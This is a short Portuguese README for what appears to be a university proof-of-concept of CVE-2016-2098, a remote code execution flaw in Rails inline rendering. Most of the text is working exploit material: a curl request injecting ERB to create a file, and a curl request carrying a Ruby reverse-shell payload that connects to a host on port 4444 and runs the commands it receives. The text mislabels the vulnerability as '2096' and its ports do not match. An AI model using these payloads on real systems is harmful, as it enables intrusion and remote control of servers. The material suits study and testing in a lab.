
Prova de conceito CVE-2016-2098
Projeto universitário criado por @alejandro-marting onde podemos verificar a vulnerabilidade 2096
Usando:
##Execução: Em primeiro lugar, precisamos executar o servidor rails com o seguinte comando:
$ rvmsudo rails server -b 0.0.0.0 -p 80
Agora podemos causar a execução remota de código com o seguinte comando:
$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'
(Um arquivo 'rooted' deve ser gerado)
Se você quiser tentar um reverse shell com injeção de código ruby, pode executar o seguinte comando:
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}' http://localhost:3000/poc/render1
Se você tiver alguma dúvida, entre em contato comigo, por favor!